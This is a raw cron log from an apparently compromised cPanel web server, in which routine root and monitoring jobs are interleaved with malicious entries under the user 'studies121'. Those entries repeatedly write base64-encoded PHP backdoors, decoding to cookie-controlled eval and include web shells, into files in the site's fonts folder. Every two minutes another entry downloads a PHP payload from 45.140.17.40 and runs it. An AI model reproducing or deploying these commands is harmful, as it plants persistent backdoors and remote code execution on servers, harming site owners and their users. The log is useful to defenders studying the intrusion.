Sep 22 03:27:01 ip-184-168-122-23 CROND[4961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:27:01 ip-184-168-122-23 CROND[4960]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 22 03:27:01 ip-184-168-122-23 CROND[4962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:27:01 ip-184-168-122-23 CROND[4965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:27:01 ip-184-168-122-23 CROND[4966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:28:01 ip-184-168-122-23 CROND[5136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:28:01 ip-184-168-122-23 CROND[5137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:28:01 ip-184-168-122-23 CROND[5140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:28:01 ip-184-168-122-23 CROND[5139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:28:01 ip-184-168-122-23 CROND[5141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:29:01 ip-184-168-122-23 CROND[5234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:29:01 ip-184-168-122-23 CROND[5235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:29:01 ip-184-168-122-23 CROND[5236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:29:01 ip-184-168-122-23 CROND[5237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:30:01 ip-184-168-122-23 CROND[5380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 03:30:01 ip-184-168-122-23 CROND[5381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:30:01 ip-184-168-122-23 CROND[5385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:30:01 ip-184-168-122-23 CROND[5388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:30:01 ip-184-168-122-23 CROND[5384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:30:01 ip-184-168-122-23 CROND[5387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:30:01 ip-184-168-122-23 CROND[5391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:30:01 ip-184-168-122-23 CROND[5394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:31:01 ip-184-168-122-23 CROND[5520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:31:01 ip-184-168-122-23 CROND[5521]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 03:31:01 ip-184-168-122-23 CROND[5523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:31:01 ip-184-168-122-23 CROND[5524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:31:01 ip-184-168-122-23 CROND[5525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:32:01 ip-184-168-122-23 CROND[5648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:32:01 ip-184-168-122-23 CROND[5650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:32:01 ip-184-168-122-23 CROND[5651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:32:01 ip-184-168-122-23 CROND[5652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:32:01 ip-184-168-122-23 CROND[5654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:33:01 ip-184-168-122-23 CROND[5753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:33:01 ip-184-168-122-23 CROND[5756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:33:01 ip-184-168-122-23 CROND[5757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:33:01 ip-184-168-122-23 CROND[5754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:34:01 ip-184-168-122-23 CROND[5878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:34:01 ip-184-168-122-23 CROND[5883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:34:01 ip-184-168-122-23 CROND[5881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:34:01 ip-184-168-122-23 CROND[5882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:34:01 ip-184-168-122-23 CROND[5884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:35:01 ip-184-168-122-23 CROND[6007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:35:01 ip-184-168-122-23 CROND[6009]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 03:35:01 ip-184-168-122-23 CROND[6008]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 03:35:01 ip-184-168-122-23 CROND[6014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:35:01 ip-184-168-122-23 CROND[6017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:35:01 ip-184-168-122-23 CROND[6015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:35:01 ip-184-168-122-23 CROND[6016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:35:01 ip-184-168-122-23 CROND[6013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:36:01 ip-184-168-122-23 CROND[6154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:36:01 ip-184-168-122-23 CROND[6156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:36:01 ip-184-168-122-23 CROND[6157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:36:01 ip-184-168-122-23 CROND[6159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:36:01 ip-184-168-122-23 CROND[6158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:37:01 ip-184-168-122-23 CROND[6364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:37:01 ip-184-168-122-23 CROND[6365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:37:01 ip-184-168-122-23 CROND[6363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:37:01 ip-184-168-122-23 CROND[6366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:38:01 ip-184-168-122-23 CROND[6500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:38:01 ip-184-168-122-23 CROND[6504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:38:01 ip-184-168-122-23 CROND[6506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:38:01 ip-184-168-122-23 CROND[6505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:38:01 ip-184-168-122-23 CROND[6508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
